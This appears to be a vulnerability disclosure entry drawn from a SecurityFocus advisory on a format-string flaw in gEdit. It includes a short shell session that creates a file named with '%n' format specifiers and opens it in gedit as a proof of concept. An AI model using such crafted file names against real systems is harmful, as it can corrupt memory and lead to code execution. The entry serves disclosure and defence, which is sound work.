23 lines
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618 B
Text
23 lines
No EOL
618 B
Text
source: http://www.securityfocus.com/bid/13699/info
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gEdit is prone to a format-string vulnerability. Exploitation may occur when the program is invoked with a filename that includes malicious format specifiers.
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Attackers could exploit this issue to corrupt arbitrary regions of memory with attacker-supplied data, potentially resulting in the execution of arbitrary code in the context of the user running the program.
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bash-2.05b#cat fmtexp.c
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#include <stdio.h>
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int
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main()
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{
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printf("hah gedit\n");
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}
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bash-2.05b#gcc -o fk fmtexp.c
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bash-2.05b#mv fk AA%n%n%n.c
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bash-2.05b#gedit AA%n%n%n.c |